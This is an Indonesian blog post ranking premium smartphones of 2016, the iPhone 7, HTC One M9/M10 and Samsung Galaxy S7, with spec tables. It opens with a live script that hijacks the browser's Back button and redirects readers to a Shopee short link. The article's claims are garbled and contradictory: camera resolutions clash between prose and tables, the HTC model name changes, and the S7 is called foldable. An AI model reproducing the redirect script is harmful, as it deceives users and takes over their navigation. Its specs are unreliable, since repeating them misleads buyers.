(function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/history"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/history") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("https://shope.ee/5Utq2NAvFT"); },10); } }, false); }(window, location));
Daftar Smartphone Premium High End Spesifikasi Terbaik Terbaru di Tahun 2016 – Seperti yang kita tahu, perkembangan teknologi, salahh satunya dalam dunia smartphone membuat persaingan di pasaran smartphone begitu ketatnya. Banyak Smartphone yang menawarkan fitur serta spesifikasi yang tinggi. Jika kita berbicara mengenai smartphone terbaik, maka mungkin Samsung merupakan brand yang berada di urutan teratas. Banyak sekali produk Samsung yang menarik hati banyak konsumen. Slaah satu buktinhya adalah Samsung mendapat gelas top 1 best smartphone di tahun lalu untuk produk S6 miliki Samsung.
Namun, selain Samsung ternyata masih banyak juga smartphone lain yang masuk dalam Daftar HP Smartphone Spesifikasi Terbaik di Tahun 2016. Apa sajakah daftar smartphone tersebut? Berikut ini informasinya yang dapat kita simak bersama.
Baca Juga: Review Lengkap Spesifikasi dan Harga Terbaru 2016 Xiaomi Mi 5
Daftar HP Smartphone Apple iPhone Spesifikasi Terbaik di Tahun 2016 yang pertama adalah iPhone 7. Apa yang ada di pikiran anda saat mendengar kata iPhone? Seperti yang kita tahu bahwa iPhone telah memiliki brand yang terkenal akan eksklusifitasnya serta harga yang tinggi. iPhone pun kini menjadi sebuah pesaing yang sangat serius bagi smartphone lainnya. Kini iPhone hadir dengan tipe iPhone 7 yang memiliki spesifikasi yang pastinya lebih tingggi seperti quad core processor dan memiliki 20 Mp rear isight camera yang sangat tajam. Smartphone ini memiliki teknologi cangginh yang disebut dengan The protective mechanism for Electronic Device. Teknologi ini membuat atau dapat meminimalisir kerusakan akibat ponsel yang terjatuh. Hal ini akan membuat smartphone ini akan tetap aman meskipun secara tidak sengaja terjatuh dari tangan dan saku anda. Hal ini akan membuat banyak konsumen tertarik karena sangat awet.
iPhone 7 | ||
Jaringan | ||
Teknologi | GSM / HSPA / LTE | |
2G bands | GSM 850 / 900 / 1800 / 1900 | |
3G bands | HSDPA 850 / 900 / 1700 / 1900 / 2100 | |
4G bands | LTE 2100 / 1900 / 1800 / 1700 / 2100 / 850 / 2600 / 900 / 700 | |
– | ||
Kecepatan |
| |
GPRS | Yes | |
EDGE | Yes | |
Layar | ||
Tipe | LED-backlit IPS LCD, capacitive touchscreen, 16M colors | |
Ukuran | 4,7 Inch | |
Dapur Pacu | ||
OS | iOS 9 | |
Chipset | – | |
CPU | – | |
GPU | – | |
Memori | ||
Card slot | No | |
Internal | 32GB, 64GB, 128GB, 4 GB RAM | |
Kamera | ||
Kamera Belakang | 12 MP, 4608 x 2592 pixels, phase detection autofocus, dual-LED (dual tone) flash, | |
Fitur | Geo-tagging, simultaneous 4K video and 8MP image recording, touch focus, face/smile detection, HDR (photo/panorama) | |
Video | 2160p@30fps, 1080p@60fps,1080p@120fps, 720p@240fps | |
Kamera Depan | 5 MP, 1080p@30fps, 720p@240fps, face detection, HDR, panorama | |
Suara | ||
Alert types | Vibration; MP3, WAV ringtones | |
Loudspeaker | Yes, with stereo speakers | |
3.5mm jack | Yes | |
Konektivitas | ||
WLAN | Wi-Fi 802.11 a/b/g/n/ac, dual-band, hotspot | |
Fitur lain | – Active noise cancellation with dedicated mic – Siri natural language commands and dictation – iCloud cloud service – iCloud Keychain – TV-out – Maps – Organizer – Document editor – Photo/video editor | |
GPS | Yes | |
Java | No | |
Fitur | ||
Lain-lain | – Fingerprint sensor (Touch ID v2) – Apple Pay (Visa, MasterCard, AMEX certified) – 3D Touch display – Display Zoom – Sapphire crystal glass, oleophobic coating – Ion-strengthened glass, oleophobic coating – Multitouch – Capacitive – Scratch Resistant – Retina HD Display – Full sRGB standard – 1300:1 Contrast ratio – LED-backlit – warna = Space Gray, Silver, Gold, Rose Gold | |
Baterai | ||
Non-removable |
Daftar HP Smartphone HTC Spesifikasi Terbaik di Tahun 2016 Kedua adalah HTC One M9. Smartphone ini menjadi salah satu smartphone terbaik di dunia dan ternyata dirilis bersamaan dengan Samsung Galaxy S7 Edge. HTC menggunakan chipset yang dibuat oleh Qualcomm dengan seri Snapdragon 820. Chipset ini pun disupport oleh processor octa core 64 bit yang memiliki kecepatan Dual-core 2.15 GHz Kryo & dual-core 1.6 GHz Kryo. RAM yang dimiliki smartphone ini adalah sebesar 4 GB dan menggunakan pengolahan grafis dari Adreno 530 dengan dilengkapi Android OS v6.0.1 (Marshmallow) sebagai sistem pengoperasiannya.
Baca juga: Spesifikasi Lengkap dan Harga Terbaru Sony Xperia C4 Dual
HTC One M10 | ||||
Jaringan | ||||
Teknologi | GSM / HSPA / LTE | |||
2G bands | GSM 850 / 900 / 1800 / 1900 | |||
3G bands | HSDPA 850 / 900 / 1900 / 2100 | |||
4G bands | LTE 700 / 800 / 850 / 900 / 1800 / 2100 / 2600 TD-LTE 2300 / 2500 / 2600 | |||
(Bands 1, 3, 5, 7, 8, 20, 28, 38, 40, 41) | ||||
Kecepatan | HSPA 42.2/21.1 Mbps, LTE Cat6 300/50 Mbps | |||
GPRS | Yes | |||
EDGE | Yes | |||
Pengumuman | ||||
Diumumkan | Exp. announcement 2016, April | |||
Status | Coming soon. Exp. release 2016, April | |||
Bodi | ||||
Dimensi | – | |||
Berat | – | |||
SIM | Nano-SIM | |||
Layar | ||||
Tipe | AMOLED capacitive touchscreen, 16M colors | |||
Ukuran | 5.15 inches | |||
Resolusi | 1440 x 2560 pixels (~570 ppi pixel density) | |||
Multitouch | Yes | |||
Proteksi | Corning Gorilla Glass 4 | |||
– HTC Sense UI | ||||
Dapur Pacu | ||||
OS | Android OS, v6.0.1 (Marshmallow) | |||
Chipset | Qualcomm MSM8996 Snapdragon 820 | |||
CPU | Dual-core 2.15 GHz Kryo & dual-core 1.6 GHz Kryo | |||
GPU | Adreno 530 | |||
Memori | ||||
Card slot | microSD, up to 200 GB (dedicated slot) | |||
Internal | 32 GB, 4 GB RAM | |||
Kamera | ||||
Kamera Belakang | 12 MP, f/1.9, 26mm, OIS, laser autofocus, dual-LED (dual tone) flash | |||
Fitur | Geo-tagging, touch focus, face/smile detection, HDR, panorama | |||
Video | 2160p@30fps, 1080p@60fps, 720p@120fps, HDR, stereo sound rec. | |||
Kamera Depan | Yes, OIS, 1080p | |||
Suara | ||||
Alert types | Vibration; MP3, WAV ringtones | |||
Loudspeaker | Yes, with stereo speakers | |||
3.5mm jack | Yes | |||
Konektivitas | ||||
WLAN | Wi-Fi 802.11 a/b/g/n/ac, dual-band, Wi-Fi Direct, DLNA, hotspot | |||
Bluetooth | v4.1, A2DP, apt-X | |||
GPS | Yes, with A-GPS, GLONASS | |||
NFC | Yes | |||
Infrared port | Yes | |||
Radio | No | |||
USB | v3.0, Type-C 1.0 reversible connector | |||
Fitur | ||||
Sensors | Fingerprint, accelerometer, gyro, proximity, compass | |||
Pesan | SMS (threaded view), MMS, Email, Push Email | |||
Browser | HTML5 | |||
Java |
| |||
Baterai | ||||
Non-removable Li-Po battery |
Setelah sukses menyabet gelar sebagai Top 1 best smartphonen dengan tipe S6 tahun lalu, kini Samsung hadir dengan tipe S7 sebagai salahh satu Daftar HP Android Samung Spesifikasi Terbaik di Tahun 2016. Smartphone ini memiliki spesifikasi yang tentu saja lebih baik seperti processor 2.9 GHz octa core processor dan RAM sebesar 4 GB serta razor sharp 5.2 inchi P-OLED display. Kamera belakang sangat menakjubkan dengan resolusi sebesar 30 Mp dan kamera depan sebesar 7 Mp. Salah satu fiturnya yang sangat inovatif dalam tipe ini adalah S7 yang dapat dilipat hingga berbentuk bengkong. Inilah sebuah inovasi menarim yang juga menjadi daya tarik bagi Samsung S7 ini. Jika kita berbicara mengenai Samsung, pasti kita kan langsung berpikir mengenai spesifikasi yang tidak main-main serta kualitas yang prima.
Samusng Galaxy S7 | ||||
Jaringan | ||||
Teknologi | GSM / HSPA / LTE | |||
2G bands | GSM 850 / 900 / 1800 / 1900 – SIM 1 & SIM 2 (dual-SIM model only) | |||
3G bands | HSDPA 850 / 900 / 1900 / 2100 | |||
4G bands | LTE | |||
– | ||||
Kecepatan | HSPA 42.2/5.76 Mbps, LTE Cat9 450/50 Mbps | |||
GPRS | Yes | |||
EDGE | Yes | |||
Pengumuman | ||||
Diumumkan | 2016, February | |||
Status | Available. Released 2016, March | |||
Bodi | ||||
Dimensi | 142.4 x 69.6 x 7.9 mm (5.61 x 2.74 x 0.31 in) | |||
Berat | 152 g (5.36 oz) | |||
SIM | Single SIM (Nano-SIM) or Dual SIM (Nano-SIM, dual stand-by) – Samsung Pay (Visa, MasterCard certified) – IP68 certified – dust proof and water resistant over 1.5 meter and 30 minutes | |||
Layar | ||||
Tipe | Super AMOLED capacitive touchscreen, 16M colors | |||
Ukuran | 5.1 inches (~72.1% screen-to-body ratio) | |||
Resolusi | 1440 x 2560 pixels (~577 ppi pixel density) | |||
Multitouch | Yes | |||
Proteksi | Corning Gorilla Glass 4 | |||
– Always-on display – TouchWiz UI | ||||
Dapur Pacu | ||||
OS | Android OS, v6.0 (Marshmallow) | |||
Chipset | Qualcomm MSM8996 Snapdragon 820 Exynos 8890 Octa | |||
CPU | Dual-core 2.15 GHz Kryo & dual-core 1.6 GHz Kryo Quad-core 2.3 GHz Mongoose + quad-core 1.6 GHz Cortex-A53 | |||
GPU | Adreno 530 Mali-T880 MP12 | |||
Memori | ||||
Card slot | microSD, up to 200 GB (dedicated slot) – single SIM model microSD, up to 200 GB (uses SIM 2 slot) – dual SIM model | |||
Internal | 32/64 GB, 4 GB RAM | |||
Kamera | ||||
Kamera Belakang | 12 MP, f/1.7, 26mm, phase detection autofocus, OIS, LED flash | |||
Fitur | 1/2.6″ sensor size, 1.4 µm pixel size, geo-tagging, simultaneous 4K video and 9MP image recording, touch focus, face/smile detection, Auto HDR, panorama | |||
Video | 2160p@30fps, 1080p@60fps, 720p@240fps, HDR, dual-video rec. | |||
Kamera Depan | 5 MP, f/1.7, 22mm, dual video call, Auto HDR | |||
Suara | ||||
Alert types | Vibration; MP3, WAV ringtones | |||
Loudspeaker | Yes | |||
3.5mm jack | Yes | |||
Konektivitas | ||||
WLAN | Wi-Fi 802.11 a/b/g/n/ac, dual-band, Wi-Fi Direct, hotspot | |||
Bluetooth | v4.2, A2DP, LE, apt-X | |||
GPS | Yes, with A-GPS, GLONASS, BDS | |||
NFC | Yes | |||
Infrared port | Yes | |||
Radio | No | |||
USB | microUSB v2.0, USB Host | |||
Fitur | ||||
Sensors |
| |||
Pesan |
| |||
Browser | HTML5 | |||
Java |
| |||
Baterai | ||||
Non-removable Li-Ion 3000 mAh battery |
Demikianlah Daftar HP Android Spesifikasi Terbaik di Tahun 2016 yang dapat menjadi acuan anda dalam memilih sebuah smartphone yang baik pada tahun 2016 ini. Pilihlah smartphone yang memang sesuai dengan kebutuhan anda.